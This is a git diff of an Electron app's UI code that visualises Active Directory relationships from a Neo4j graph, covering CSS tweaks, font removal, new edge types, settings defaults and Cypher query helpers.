     height: 100px;
     display: block;
-    margin:auto;
+    margin: auto;
 }
 
-.queryNodeItemPreWrap > p{
+.queryNodeItemPreWrap > p {
     white-space: pre-wrap;
 }
 
-.tab-content > div:last-child > div{
+.tab-content > div:last-child > div {
     max-height: 200px;
     overflow-y: auto;
 }
 
-.tab-content > div:nth-last-child(2) > div{
+.tab-content > div:nth-last-child(2) > div {
     max-height: 600px;
     overflow-y: auto;
+}
+
+.help-modal-width > div{
+    width: 40%;
 }
\ No newline at end of file
diff --git a/src/css/tooltip.css b/src/css/tooltip.css
index 599e87a..0c663d8 100644
--- a/src/css/tooltip.css
+++ b/src/css/tooltip.css
@@ -90,7 +90,7 @@
     z-index: 29;
     max-height: 400px;
     display: inline-block;
-    background-color: rgba(255, 255, 255, .95);
+    background-color: rgba(255, 255, 255, 0.95);
     border-radius: 12px;
     position: absolute;
     top: 100px;
diff --git a/src/fonts/FontAwesome.otf b/src/fonts/FontAwesome.otf
deleted file mode 100644
index d4de13e..0000000
Binary files a/src/fonts/FontAwesome.otf and /dev/null differ
diff --git a/src/fonts/fontawesome-webfont.eot b/src/fonts/fontawesome-webfont.eot
deleted file mode 100644
index c7b00d2..0000000
Binary files a/src/fonts/fontawesome-webfont.eot and /dev/null differ
diff --git a/src/fonts/fontawesome-webfont.svg b/src/fonts/fontawesome-webfont.svg
deleted file mode 100644
index 8b66187..0000000
--- a/src/fonts/fontawesome-webfont.svg
+++ /dev/null
@@ -1,685 +0,0 @@
-<?xml version="1.0" standalone="no"?>
-<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd" >
-<svg xmlns="http://www.w3.org/2000/svg">
-<metadata></metadata>
-<defs>
-<font id="fontawesomeregular" horiz-adv-x="1536" >
-<font-face units-per-em="1792" ascent="1536" descent="-256" />
-<missing-glyph horiz-adv-x="448" />
-<glyph unicode=" "  horiz-adv-x="448" />
-<glyph unicode="&#x09;" horiz-adv-x="448" />
-<glyph unicode="&#xa0;" horiz-adv-x="448" />
-<glyph unicode="&#xa8;" horiz-adv-x="1792" />
-<glyph unicode="&#xa9;" horiz-adv-x="1792" />
-<glyph unicode="&#xae;" horiz-adv-x="1792" />
-<glyph unicode="&#xb4;" horiz-adv-x="1792" />
-<glyph unicode="&#xc6;" horiz-adv-x="1792" />
-<glyph unicode="&#xd8;" horiz-adv-x="1792" />
-<glyph unicode="&#x2000;" horiz-adv-x="768" />
-<glyph unicode="&#x2001;" horiz-adv-x="1537" />
-<glyph unicode="&#x2002;" horiz-adv-x="768" />
-<glyph unicode="&#x2003;" horiz-adv-x="1537" />
-<glyph unicode="&#x2004;" horiz-adv-x="512" />
-<glyph unicode="&#x2005;" horiz-adv-x="384" />
-<glyph unicode="&#x2006;" horiz-adv-x="256" />
-<glyph unicode="&#x2007;" horiz-adv-x="256" />
-<glyph unicode="&#x2008;" horiz-adv-x="192" />
-<glyph unicode="&#x2009;" horiz-adv-x="307" />
-<glyph unicode="&#x200a;" horiz-adv-x="85" />
-<glyph unicode="&#x202f;" horiz-adv-x="307" />
-<glyph unicode="&#x205f;" horiz-adv-x="384" />
-<glyph unicode="&#x2122;" horiz-adv-x="1792" />
-<glyph unicode="&#x221e;" horiz-adv-x="1792" />
-<glyph unicode="&#x2260;" horiz-adv-x="1792" />
-<glyph unicode="&#x25fc;" horiz-adv-x="500" d="M0 0z" />
-<glyph unicode="&#xf000;" horiz-adv-x="1792" d="M1699 1350q0 -35 -43 -78l-632 -632v-768h320q26 0 45 -19t19 -45t-19 -45t-45 -19h-896q-26 0 -45 19t-19 45t19 45t45 19h320v768l-632 632q-43 43 -43 78q0 23 18 36.5t38 17.5t43 4h1408q23 0 43 -4t38 -17.5t18 -36.5z" />
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-<glyph unicode="&#xf004;" horiz-adv-x="1792" d="M896 -128q-26 0 -44 18l-624 602q-10 8 -27.5 26t-55.5 65.5t-68 97.5t-53.5 121t-23.5 138q0 220 127 344t351 124q62 0 126.5 -21.5t120 -58t95.5 -68.5t76 -68q36 36 76 68t95.5 68.5t120 58t126.5 21.5q224 0 351 -124t127 -344q0 -221 -229 -450l-623 -600 q-18 -18 -44 -18z" />
-<glyph unicode="&#xf005;" horiz-adv-x="1664" d="M1664 889q0 -22 -26 -48l-363 -354l86 -500q1 -7 1 -20q0 -21 -10.5 -35.5t-30.5 -14.5q-19 0 -40 12l-449 236l-449 -236q-22 -12 -40 -12q-21 0 -31.5 14.5t-10.5 35.5q0 6 2 20l86 500l-364 354q-25 27 -25 48q0 37 56 46l502 73l225 455q19 41 49 41t49 -41l225 -455 l502 -73q56 -9 56 -46z" />
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-<glyph unicode="&#xf2b5;" horiz-adv-x="1792" />
-<glyph unicode="&#xf2b6;" horiz-adv-x="1792" />
-<glyph unicode="&#xf2b7;" horiz-adv-x="1792" />
-<glyph unicode="&#xf2b8;" horiz-adv-x="1792" />
-<glyph unicode="&#xf2b9;" horiz-adv-x="1792" />
-<glyph unicode="&#xf2ba;" horiz-adv-x="1792" />
-<glyph unicode="&#xf2bb;" horiz-adv-x="1792" />
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-<glyph unicode="&#xf2be;" horiz-adv-x="1792" />
-<glyph unicode="&#xf500;" horiz-adv-x="1792" />
-</font>
-</defs></svg> 
\ No newline at end of file
diff --git a/src/fonts/fontawesome-webfont.ttf b/src/fonts/fontawesome-webfont.ttf
deleted file mode 100644
index f221e50..0000000
Binary files a/src/fonts/fontawesome-webfont.ttf and /dev/null differ
diff --git a/src/fonts/fontawesome-webfont.woff b/src/fonts/fontawesome-webfont.woff
deleted file mode 100644
index 6e7483c..0000000
Binary files a/src/fonts/fontawesome-webfont.woff and /dev/null differ
diff --git a/src/fonts/fontawesome-webfont.woff2 b/src/fonts/fontawesome-webfont.woff2
deleted file mode 100644
index 7eb74fd..0000000
Binary files a/src/fonts/fontawesome-webfont.woff2 and /dev/null differ
diff --git a/src/img/loading_new.gif b/src/img/loading_new.gif
new file mode 100644
index 0000000..04e9f39
Binary files /dev/null and b/src/img/loading_new.gif differ
diff --git a/src/index.js b/src/index.js
index 238b454..6cf6b6c 100644
--- a/src/index.js
+++ b/src/index.js
@@ -1,30 +1,38 @@
-import 'babel-polyfill'; // generators
-import React from 'react';
-import ReactDOM from 'react-dom';
+import "babel-polyfill"; // generators
+import React from "react";
+import ReactDOM from "react-dom";
 
-import AppContainer from './AppContainer';
-import Login from './components/Float/Login';
-import { getStorageData, storageHasKey, storageSetKey } from './js/utils.js';
+import AppContainer from "./AppContainer";
+import Login from "./components/Float/Login";
 
-const { app } = require('electron').remote;
-var fs = require('fs');
-const path = require('path');
-
-const ConfigStore = require('electron-store');
+import { remote, shell } from "electron";
+const { app } = remote;
+import { join } from "path";
+import { stat, writeFile, existsSync, mkdirSync } from "fs";
 
+import ConfigStore from "electron-store";
 global.conf = new ConfigStore();
-var e = require('eventemitter2').EventEmitter2;
+global.imageconf = new ConfigStore({
+    name: "images"
+})
+import { EventEmitter2 as e } from "eventemitter2";
 global.emitter = new e({});
+emitter.setMaxListeners(15);
 global.renderEmit = new e({});
-global.neo4j = require('neo4j-driver').v1;
+global.neo4j = require("neo4j-driver").v1;
+global.Mustache = require("mustache");
 
-global.Mustache = require('mustache');
+//open links externally by default
+$(document).on('click', 'a[href^="http"]', function(event) {
+    event.preventDefault();
+    shell.openExternal(this.href);
+});
 
 String.prototype.format = function() {
     var i = 0,
         args = arguments;
     return this.replace(/{}/g, function() {
-        return typeof args[i] !== 'undefined' ? args[i++] : '';
+        return typeof args[i] !== "undefined" ? args[i++] : "";
     });
 };
 
@@ -34,14 +42,14 @@ String.prototype.formatAll = function() {
 };
 
 String.prototype.toTitleCase = function() {
-    return this.replace(/\w\S*/g, function(txt) { return txt.charAt(0).toUpperCase() + txt.substr(1).toLowerCase(); });
+    return this.replace(/\w\S*/g, function(txt) {
+        return txt.charAt(0).toUpperCase() + txt.substr(1).toLowerCase();
+    });
 };
 
 Array.prototype.allEdgesSameType = function() {
-
     for (var i = 1; i < this.length; i++) {
-        if (this[i].neo4j_type !== this[0].neo4j_type)
-            return false;
+        if (this[i].neo4j_type !== this[0].neo4j_type) return false;
     }
 
     return true;
@@ -51,24 +59,24 @@ if (!Array.prototype.last) {
     Array.prototype.last = function() {
         return this[this.length - 1];
     };
-};
+}
 
 sigma.renderers.def = sigma.renderers.canvas;
 
-sigma.classes.graph.addMethod('outboundNodes', function(id) {
+sigma.classes.graph.addMethod("outboundNodes", function(id) {
     return this.outNeighborsIndex.get(id).keyList();
 });
 
-sigma.classes.graph.addMethod('inboundNodes', function(id) {
+sigma.classes.graph.addMethod("inboundNodes", function(id) {
     return this.inNeighborsIndex.get(id).keyList();
 });
 
-sigma.classes.graph.addMethod('outNeighbors', function (id) {
+sigma.classes.graph.addMethod("outNeighbors", function(id) {
     return this.outNeighborsIndex.get(id).keyList();
 });
 
 global.appStore = {
-    dagre: false,
+    dagre: true,
     startNode: null,
     endNode: null,
     prebuiltQuery: [],
@@ -78,165 +86,241 @@ global.appStore = {
     currentTooltip: null,
     highResPalette: {
         iconScheme: {
-            'User': {
-                font: 'FontAwesome',
-                content: '\uF007',
+            User: {
+                font: "'Font Awesome 5 Free'",
+                content: "\uf007",
                 scale: 1.5,
-                color: '#17E625'
+                color: "#17E625"
             },
-            'Computer': {
-                font: 'FontAwesome',
-                content: '\uF108',
+            Computer: {
+                font: "'Font Awesome 5 Free'",
+                content: "\uF108",
                 scale: 1.2,
-                color: '#E67873'
+                color: "#E67873"
             },
-            'Group': {
-                font: 'FontAwesome',
-                content: '\uF0C0',
+            Group: {
+                font: "'Font Awesome 5 Free'",
+                content: "\uF0C0",
                 scale: 1.5,
-                color: '#DBE617'
+                color: "#DBE617"
             },
-            'Domain': {
-                font: 'FontAwesome',
-                content: '\uF0AC',
+            Domain: {
+                font: "'Font Awesome 5 Free'",
+                content: "\uF0AC",
                 scale: 1.5,
-                color: '#17E6B9'
+                color: "#17E6B9"
             },
-            'OU': {
-                font: 'FontAwesome',
-                content: '\uF0E8',
+            OU: {
+                font: "'Font Awesome 5 Free'",
+                content: "\uF0E8",
                 scale: 1.25,
-                color: '#FFAA00'
+                color: "#FFAA00"
             },
-            'GPO': {
-                font: 'FontAwesome',
-                content: '\uF03A',
+            GPO: {
+                font: "'Font Awesome 5 Free'",
+                content: "\uF03A",
                 scale: 1.25,
-                color: '#7F72FD'
+                color: "#7F72FD"
             }
         },
         edgeScheme: {
-            'AdminTo': 'tapered',
-            'MemberOf': 'tapered',
-            'HasSession': 'tapered',
-            'AllExtendedRights': 'tapered',
-            'ForceChangePassword': 'tapered',
-            'GenericAll': 'tapered',
-            'GenericWrite': 'tapered',
-            'WriteDacl': 'tapered',
-            'WriteOwner': 'tapered',
-            'AddMember': 'tapered',
-            'TrustedBy': 'curvedArrow',
-            'DCSync' : 'tapered',
-            'Contains': 'tapered',
-            'GpLink':'tapered',
-            'Owns':'tapered'
+            AdminTo: "tapered",
+            MemberOf: "tapered",
+            HasSession: "tapered",
+            AllExtendedRights: "tapered",
+            ForceChangePassword: "tapered",
+            GenericAll: "tapered",
+            GenericWrite: "tapered",
+            WriteDacl: "tapered",
+            WriteOwner: "tapered",
+            AddMember: "tapered",
+            TrustedBy: "curvedArrow",
+            DCSync: "tapered",
+            Contains: "tapered",
+            GpLink: "tapered",
+            Owns: "tapered",
+            CanRDP: "tapered",
+            ExecuteDCOM: "tapered",
+            ReadLAPSPassword: "tapered",
+            AllowedToDelegate: "tapered",
+            GetChanges: "tapered",
+            GetChangeAll: "tapered"
         }
     },
     lowResPalette: {
         colorScheme: {
-            'User': '#17E625',
-            'Computer': '#E67873',
-            'Group': '#DBE617',
-            'Domain': '#17E6B9'
+            User: "#17E625",
+            Computer: "#E67873",
+            Group: "#DBE617",
+            Domain: "#17E6B9",
+            OU: "#FFAA00",
+            GPO: "#7F72FD"
         },
         edgeScheme: {
-            'AdminTo': 'line',
-            'MemberOf': 'line',
-            'HasSession': 'line',
-            'AllExtendedRights': 'line',
-            'ForceChangePassword': 'line',
-            'GenericAll': 'line',
-            'GenericWrite': 'line',
-            'WriteDACL': 'line',
-            'WriteOwner': 'line',
-            'AddMember': 'line',
-            'TrustedBy': 'curvedArrow'
+            AdminTo: "line",
+            MemberOf: "line",
+            HasSession: "line",
+            AllExtendedRights: "line",
+            ForceChangePassword: "line",
+            GenericAll: "line",
+            GenericWrite: "line",
+            WriteDacl: "line",
+            WriteOwner: "line",
+            AddMember: "line",
+            TrustedBy: "curvedArrow",
+            DCSync: "line",
+            Contains: "line",
+            GpLink: "line",
+            Owns: "line",
+            CanRDP: "line",
+            ExecuteDCOM: "line",
+            ReadLAPSPassword: "line",
+            AllowedToDelegate: "line",
+            GetChanges: "line",
+            GetChangeAll: "line"
         }
     },
     highResStyle: {
         nodes: {
             label: {
-                by: 'label'
+                by: "label"
             },
             size: {
-                by: 'degree',
+                by: "degree",
                 bins: 5,
                 min: 10,
                 max: 20
             },
             icon: {
-                by: 'type',
-                scheme: 'iconScheme'
+                by: "type",
+                scheme: "iconScheme"
             }
         },
         edges: {
             type: {
-                by: 'type',
-                scheme: 'edgeScheme'
+                by: "type",
+                scheme: "edgeScheme"
+            },
+            size: {
+                by: "degree",
+                bins: 1,
+                min: 4,
+                max: 4
             }
         }
     },
     lowResStyle: {
         nodes: {
             label: {
-                by: 'label'
+                by: "label"
             },
             size: {
-                by: 'degree',
+                by: "degree",
                 bins: 10,
                 min: 10,
                 max: 20
             },
             color: {
-                by: 'type',
-                scheme: 'colorScheme'
+                by: "type",
+                scheme: "colorScheme"
             }
         },
         edges: {
             type: {
-                by: 'type',
-                scheme: 'edgeScheme'
+                by: "type",
+                scheme: "edgeScheme"
+            },
+            size: {
+                by: "degree",
+                bins: 1,
+                min: 4,
+                max: 4
             }
         }
     }
 };
 
-if (typeof conf.get('performance') === 'undefined') {
-    conf.set('performance', {
+if (typeof conf.get("performance") === "undefined") {
+    conf.set("performance", {
         edge: 5,
-        sibling: 10,
         lowGraphics: false,
         nodeLabels: 0,
-        edgeLabels: 0
+        edgeLabels: 0,
+        darkMode: false
     });
 }
 
-var custompath = path.join(app.getPath('userData'), 'customqueries.json');
+if (typeof conf.get("edgeincluded") === "undefined"){
+    conf.set("edgeincluded", {
+        MemberOf : true,
+        HasSession: true,
+        AdminTo: true,
+        AllExtendedRights: true,
+        AddMember: true,
+        ForceChangePassword: true,
+        GenericAll:true,
+        GenericWrite:true,
+        Owns: true,
+        WriteDacl: true,
+        WriteOwner: true,
+        CanRDP:true,
+        ExecuteDCOM:true,
+        AllowedToDelegate: true,
+        ReadLAPSPassword: true,
+        Contains: true,
+        GpLink: true
+    });
+}
 
-fs.stat(custompath, function(err, stats) {
+appStore.edgeincluded = conf.get("edgeincluded");
+//Code to add new edges to filter
+// if (!appStore.edgeincluded.hasOwnProperty("AllowedToDelegate")){
+//     appStore.edgeincluded.AllowedToDelegate = true;
+//     conf.set("edgeincluded", appStore.edgeincluded)
+// }
+
+// if (!appStore.edgeincluded.hasOwnProperty("ReadLAPSPassword")) {
+//     appStore.edgeincluded.ReadLAPSPassword = true;
+//     conf.set("edgeincluded", appStore.edgeincluded)
+// }
+
+appStore.performance = conf.get("performance");
+
+if (typeof appStore.performance.edgeLabels === "undefined") {
+    appStore.performance.edgeLabels = 0;
+    conf.set("performance", appStore.performance);
+}
+
+if (typeof appStore.performance.darkMode === "undefined") {
+    appStore.performance.darkMode = false;
+    conf.set("performance", appStore.performance);
+}
+
+var custompath = join(app.getPath("userData"), "customqueries.json");
+
+stat(custompath, function(err, stats) {
     if (err) {
-        fs.writeFile(custompath, "[]");
+        writeFile(custompath, "{}");
     }
 });
 
-appStore.performance = conf.get('performance');
-
-if (typeof appStore.performance.edgeLabels === 'undefined'){
-    appStore.performance.edgeLabels = 0;
-    conf.set('performance', appStore.performance);
+let imagepath = join(app.getPath("userData"), "images");
+if (!existsSync(imagepath)){
+    mkdirSync(imagepath)
 }
 
-renderEmit.on('login', function() {
+renderEmit.on("login", function() {
     emitter.removeAllListeners();
-    ReactDOM.unmountComponentAtNode(document.getElementById('root'));
-    ReactDOM.render( < AppContainer / > , document.getElementById('root'));
+    ReactDOM.unmountComponentAtNode(document.getElementById("root"));
+    ReactDOM.render(<AppContainer />, document.getElementById("root"));
 });
 
-renderEmit.on('logout', function() {
+renderEmit.on("logout", function() {
     emitter.removeAllListeners();
-    ReactDOM.unmountComponentAtNode(document.getElementById('root'));
-    ReactDOM.render( < Login / > , document.getElementById('root'));
+    ReactDOM.unmountComponentAtNode(document.getElementById("root"));
+    ReactDOM.render(<Login />, document.getElementById("root"));
 });
 
-ReactDOM.render( < Login / > , document.getElementById('root'));
\ No newline at end of file
+ReactDOM.render(<Login />, document.getElementById("root"));
+
+
diff --git a/src/js/utils.js b/src/js/utils.js
index 84e97ee..e9dd966 100644
--- a/src/js/utils.js
+++ b/src/js/utils.js
@@ -1,11 +1,20 @@
+var labels = [
+    "OU",
+    "GPO",
+    "User",
+    "Computer",
+    "Group",
+    "Domain"
+];
+
 export function generateUniqueId(sigmaInstance, isNode) {
     var i = Math.floor(Math.random() * (100000 - 10 + 1)) + 10;
     if (isNode) {
-        while (typeof sigmaInstance.graph.nodes(i) !== 'undefined') {
+        while (typeof sigmaInstance.graph.nodes(i) !== "undefined") {
             i = Math.floor(Math.random() * (100000 - 10 + 1)) + 10;
         }
     } else {
-        while (typeof sigmaInstance.graph.edges(i) !== 'undefined') {
+        while (typeof sigmaInstance.graph.edges(i) !== "undefined") {
             i = Math.floor(Math.random() * (100000 - 10 + 1)) + 10;
         }
     }
@@ -13,6 +22,72 @@ export function generateUniqueId(sigmaInstance, isNode) {
     return i;
 }
 
+function getRealLabel(label){
+    let ret = null;
+    $.each(labels, (_, l) =>  {
+        if (l.toLowerCase() === label.toLowerCase()) {
+            ret = l;
+        }
+    });
+
+    return ret;
+}
+
+export function buildSearchQuery(searchterm){
+    if (searchterm.includes(":")) {
+        let [type,term] = searchterm.split(":");
+        term = escapeRegExp(term);
+        let t = "(?i).*" + term + ".*";
+        type = getRealLabel(type);
+
+        let statement = `MATCH (n:${type}) WHERE n.name =~ {name} OR n.guid =~ {name} RETURN n LIMIT 10`;
+
+        return [statement, t];
+    }else{
+        let q = escapeRegExp(searchterm);
+        let t = "(?i).*" + q + ".*";
+
+        return ["MATCH (n) WHERE n.name =~ {name} OR n.guid =~ {name} RETURN n LIMIT 10",t];
+    }
+}
+
+export function buildSelectQuery(start, end){
+    let startTerm, endTerm, apart, bpart;
+    
+    if (start.includes(':')){
+        let [type, search] = start.split(':')
+        startTerm = search;
+        type = getRealLabel(type);
+
+        if (type === "OU" || type === "GPO"){
+            apart = `MATCH (n:${type}) WHERE n.name =~ {aprop} OR n.guid =~ {aprop}`;
+        }else{
+            apart = `MATCH (n:${type}) WHERE n.name =~ {aprop}`;
+        }
+    }else{
+        startTerm = start;
+        apart = "MATCH (n) WHERE n.name =~ {aprop}"
+    }
+
+    if (end.includes(':')){
+        let [type, search] = end.split(':')
+        endTerm = search;
+        type = getRealLabel(type);
+
+        if (type === "OU" || type === "GPO"){
+            bpart = `MATCH (m:${type}) WHERE m.name =~ {bprop} OR m.guid =~ {bprop}`;
+        }else{
+            bpart = `MATCH (m:${type}) WHERE m.name =~ {bprop}`;
+        }
+    }else{
+        endTerm = end;
+        bpart = "MATCH (m) WHERE m.name =~ {bprop}"
+    }
+
+    let query = `${apart} ${bpart} MATCH p=allShortestPaths((n)-[r:{}*1..]->(m)) RETURN p`
+    return [query, startTerm, endTerm];
+}
+
 //Recursive function to highlight paths to start/end nodes
 export function findGraphPath(sigmaInstance, reverse, nodeid, traversed) {
     let target = reverse ? appStore.startNode : appStore.endNode;
@@ -20,16 +95,18 @@ export function findGraphPath(sigmaInstance, reverse, nodeid, traversed) {
     //This is our stop condition for recursing
     if (nodeid !== target.id) {
         var edges = sigmaInstance.graph.adjacentEdges(nodeid);
-        var nodes = reverse ? sigmaInstance.graph.inboundNodes(nodeid) : sigmaInstance.graph.outboundNodes(nodeid);
+        var nodes = reverse
+            ? sigmaInstance.graph.inboundNodes(nodeid)
+            : sigmaInstance.graph.outboundNodes(nodeid);
         //Loop over the nodes near us and the edges connecting to those nodes
         $.each(nodes, function(index, node) {
             $.each(edges, function(index, edge) {
                 var check = reverse ? edge.source : edge.target;
                 //If an edge is pointing in the right direction, set its color
-                //Push the edge into our store and then 
+                //Push the edge into our store and then
                 node = parseInt(node);
                 if (check === node && !traversed.includes(node)) {
-                    edge.color = reverse ? 'blue' : 'red';
+                    edge.color = reverse ? "blue" : "red";
                     appStore.highlightedEdges.push(edge);
                     findGraphPath(sigmaInstance, reverse, node, traversed);
                 }
@@ -40,20 +117,23 @@ export function findGraphPath(sigmaInstance, reverse, nodeid, traversed) {
     }
 }
 
-export function clearSessions(){
-    emitter.emit('openClearingModal');
+export function clearSessions() {
+    emitter.emit("openClearingModal");
     deleteSessions();
 }
 
-function deleteSessions(){
+function deleteSessions() {
     var session = driver.session();
-    session.run("MATCH ()-[r:HasSession]-() WITH r LIMIT 100000 DELETE r RETURN count(r)")
+    session
+        .run(
+            "MATCH ()-[r:HasSession]-() WITH r LIMIT 100000 DELETE r RETURN count(r)"
+        )
         .then(function(results) {
             session.close();
             emitter.emit("refreshDBData");
             var count = results.records[0]._fields[0].low;
             if (count === 0) {
-                emitter.emit('hideDBClearModal');
+                emitter.emit("hideDBClearModal");
             } else {
                 deleteSessions();
             }
@@ -61,13 +141,14 @@ function deleteSessions(){
 }
 
 export function clearDatabase() {
-    emitter.emit('openClearingModal');
+    emitter.emit("openClearingModal");
     deleteEdges();
 }
 
 function deleteEdges() {
     var session = driver.session();
-    session.run("MATCH ()-[r]-() WITH r LIMIT 100000 DELETE r RETURN count(r)")
+    session
+        .run("MATCH ()-[r]-() WITH r LIMIT 100000 DELETE r RETURN count(r)")
         .then(function(results) {
             emitter.emit("refreshDBData");
             session.close();
@@ -82,7 +163,8 @@ function deleteEdges() {
 
 function deleteNodes() {
     var session = driver.session();
-    session.run("MATCH (n) WITH n LIMIT 100000 DELETE n RETURN count(n)")
+    session
+        .run("MATCH (n) WITH n LIMIT 100000 DELETE n RETURN count(n)")
         .then(function(results) {
             emitter.emit("refreshDBData");
             session.close();
@@ -95,569 +177,544 @@ function deleteNodes() {
         });
 }
 
-function grabConstraints(){
+function grabConstraints() {
     var session = driver.session();
     let constraints = [];
-    session.run("CALL db.constraints")
-        .then(function(results){
-            $.each(results.records, function(index, container){
-                let constraint = container._fields[0];
-                let query = "DROP " + constraint;
-                constraints.push(query);
-            });
-
-            session.close();
-
-            dropConstraints(constraints);
+    session.run("CALL db.constraints").then(function(results) {
+        $.each(results.records, function(index, container) {
+            let constraint = container._fields[0];
+            let query = "DROP " + constraint;
+            constraints.push(query);
         });
+
+        session.close();
+
+        dropConstraints(constraints);
+    });
 }
 
-function dropConstraints(constraints){
-    if (constraints.length > 0){
+function dropConstraints(constraints) {
+    if (constraints.length > 0) {
         let constraint = constraints.shift();
         let session = driver.session();
-        session.run(constraint)
-            .then(function(){
-                dropConstraints(constraints);
-                session.close();
-            });
-    }else{
+        session.run(constraint).then(function() {
+            dropConstraints(constraints);
+            session.close();
+        });
+    } else {
         grabIndexes();
     }
 }
 
-function grabIndexes(){
+function grabIndexes() {
     var session = driver.session();
     let constraints = [];
 
-    session.run("CALL db.indexes")
-        .then(function (results) {
-            $.each(results.records, function (index, container) {
-                let constraint = container._fields[0];
-                let query = "DROP " + constraint;
-                constraints.push(query);
-            });
-
-            session.close();
-
-            dropIndexes(constraints);
+    session.run("CALL db.indexes").then(function(results) {
+        $.each(results.records, function(index, container) {
+            let constraint = container._fields[0];
+            let query = "DROP " + constraint;
+            constraints.push(query);
         });
+
+        session.close();
+
+        dropIndexes(constraints);
+    });
 }
 
-function dropIndexes(indexes){
+function dropIndexes(indexes) {
     if (indexes.length > 0) {
         let constraint = indexes.shift();
         let session = driver.session();
-        session.run(constraint)
-            .then(function () {
-                dropConstraints(indexes);
-                session.close();
-            });
+        session.run(constraint).then(function() {
+            dropConstraints(indexes);
+            session.close();
+        });
     } else {
         addConstraints();
     }
 }
 
-function addConstraints(){
-    var s1 = driver.session();
-    var s2 = driver.session();
-    var s3 = driver.session();
-    var s4 = driver.session();
-    var s5 = driver.session();
-    var s6 = driver.session();
+async function addConstraints() {
+    let session = driver.session();
+    await session.run("CREATE CONSTRAINT ON (c:User) ASSERT c.name IS UNIQUE");
+    await session.run("CREATE CONSTRAINT ON (c:Computer) ASSERT c.name IS UNIQUE")
+    await session.run("CREATE CONSTRAINT ON (c:Group) ASSERT c.name IS UNIQUE")
+    await session.run("CREATE CONSTRAINT ON (c:Domain) ASSERT c.name IS UNIQUE")
+    await session.run("CREATE CONSTRAINT ON (c:OU) ASSERT c.guid IS UNIQUE")
+    await session.run("CREATE CONSTRAINT ON (c:GPO) ASSERT c.name IS UNIQUE")
 
-    s1.run("CREATE CONSTRAINT ON (c:User) ASSERT c.name IS UNIQUE")
-        .then(function () {
-            s1.close();
-            s2.run("CREATE CONSTRAINT ON (c:Computer) ASSERT c.name IS UNIQUE")
-                .then(function () {
-                    s2.close();
-                    s3.run("CREATE CONSTRAINT ON (c:Group) ASSERT c.name IS UNIQUE")
-                        .then(function () {
-                            s3.close();
-                            s4.run("CREATE CONSTRAINT ON (c:Domain) ASSERT c.name IS UNIQUE")
-                                .then(function () {
-                                    s4.close();
-                                    s5.run("CREATE CONSTRAINT on (c:OU) ASSERT c.guid IS UNIQUE")
-                                        .then(function () {
-                                            s5.close();
-                                            s6.run("CREATE CONSTRAINT on (c:GPO) ASSERT c.name is UNIQUE")
-                                                .then(function () {
-                                                    s6.close();
-                                                })
-                                                .catch(function () {
-                                                    s6.close();
-                                                });
-                                        })
-                                        .catch(function () {
-                                            s5.close();
-                                        });
-                                })
-                                .catch(function () {
-                                    s4.close();
-                                });
-                        })
-                        .catch(function () {
-                            s3.close();
-                        });
-                })
-                .catch(function () {
-                    s2.close();
-                });
-        })
-        .catch(function () {
-            s1.close();
-        });
+    session.close()
 
-    emitter.emit('hideDBClearModal');
+    emitter.emit("hideDBClearModal");
 }
 
-export function findObjectType(header){
-    if (header.includes('UserName') && header.includes('ComputerName') && header.includes('Weight')){
-        return 'sessions';
-    }else if (header.includes('AccountName') && header.includes('AccountType') && header.includes('GroupName')){
-        return 'groupmembership';
-    }else if (header.includes('AccountName') && header.includes('AccountType') && header.includes('ComputerName')){
-        return 'localadmin';
-    }else if (header.includes('SourceDomain') && header.includes('TargetDomain') && header.includes('TrustDirection') && header.includes('TrustType') && header.includes('Transitive')){
-        return 'domain';
-    }else if (header.includes('ActiveDirectoryRights') && header.includes('ObjectType') && header.includes('PrincipalType') && header.includes('PrincipalName') && header.includes('ObjectName') && header.includes('ACEType') && header.includes('AccessControlType') && header.includes('IsInherited')){
-        return 'acl';
-    }else if (header.includes('AccountName') && header.includes('Enabled') && header.includes('PwdLastSet') && header.includes('LastLogon') && header.includes('Sid') && header.includes('SidHistory') && header.includes('HasSPN') && header.includes('ServicePrincipalNames')){
-        return 'userprops';
-    }else if (header.includes('AccountName') && header.includes('Enabled') && header.includes('PwdLastSet') && header.includes('LastLogon') && header.includes('OperatingSystem') && header.includes('Sid')){
-        return 'compprops';
-    } else if (header.includes('ContainerType') && header.includes('ContainerName') && header.includes('ContainerGUID') && header.includes('ContainerBlocksInheritance') && header.includes('ObjectType') && header.includes('ObjectName') && header.includes('ObjectId')){
-        return 'structure';
-    } else if (header.includes('ObjectType') && header.includes('ObjectName') && header.includes('ObjectGUID') && header.includes('GPODisplayName') && header.includes('GPOGuid') && header.includes('IsEnforced')){
-        return 'gplink';
-    }else{
-        return 'unknown';
-    }
-}
+function processAceArray(array, objname, objtype, output) {
+    let baseAceQuery =
+        "UNWIND {props} AS prop MERGE (a:{} {name:prop.principal}) MERGE (b:{} {name: prop.obj}) MERGE (a)-[r:{} {isacl:true}]->(b)";
 
-function getDomainFromLabel(label, type){
-    if (type === 'Domain'){
-        return label;
-    }
-    if (label.includes('@')){
-        return label.split('@').pop();
-    }else{
-        let d = label.split('.');
-        d.shift();
-        return d.join('.');
-    }
-}
+    $.each(array, function(_, ace) {
+        let principal = ace.PrincipalName;
+        let principaltype = ace.PrincipalType;
+        let right = ace.RightName;
+        let acetype = ace.AceType;
 
-export function buildGroupMembershipProps(rows) {
-    var datadict = {};
-
-    $.each(rows, function (index, row) {
-        let type = row.AccountType.toTitleCase();
-        let account = row.AccountName.toUpperCase();
-        let group = row.GroupName.toUpperCase();
-
-        if (datadict[type]){
-            datadict[type].props.push({
-                accountName: account,
-                accountDomain: getDomainFromLabel(account, type),
-                groupName: group,
-                groupDomain: getDomainFromLabel(group, "group")
-            });
-        }else{
-            datadict[type] = {
-                statement: `UNWIND {props} AS prop MERGE (a:{} {name:prop.accountName}) WITH a,prop MERGE (b:Group {name:prop.groupName}) WITH a,b,prop MERGE (a)-[r:MemberOf {isACL:false}]->(b) SET a.domain=prop.accountDomain,b.domain=prop.groupDomain`.format(type),
-                props:[{
-                    accountName: account,
-                    accountDomain: getDomainFromLabel(account, type),
-                    groupName: group,
-                    groupDomain: getDomainFromLabel(group, "group")
-                }]
-            };
-        }
-    });
-
-    return datadict;
-}
-
-export function buildLocalAdminProps(rows) {
-    var datadict = {};
-
-    $.each(rows, function (index, row) {
-        let type = row.AccountType.toTitleCase();
-        let account = row.AccountName.toUpperCase();
-        let computer = row.ComputerName.toUpperCase();
-
-        if (datadict[type]) {
-            datadict[type].props.push({
-                accountName: account,
-                accountDomain: getDomainFromLabel(account, type),
-                computerName: computer,
-                computerDomain: getDomainFromLabel(computer, "computer")
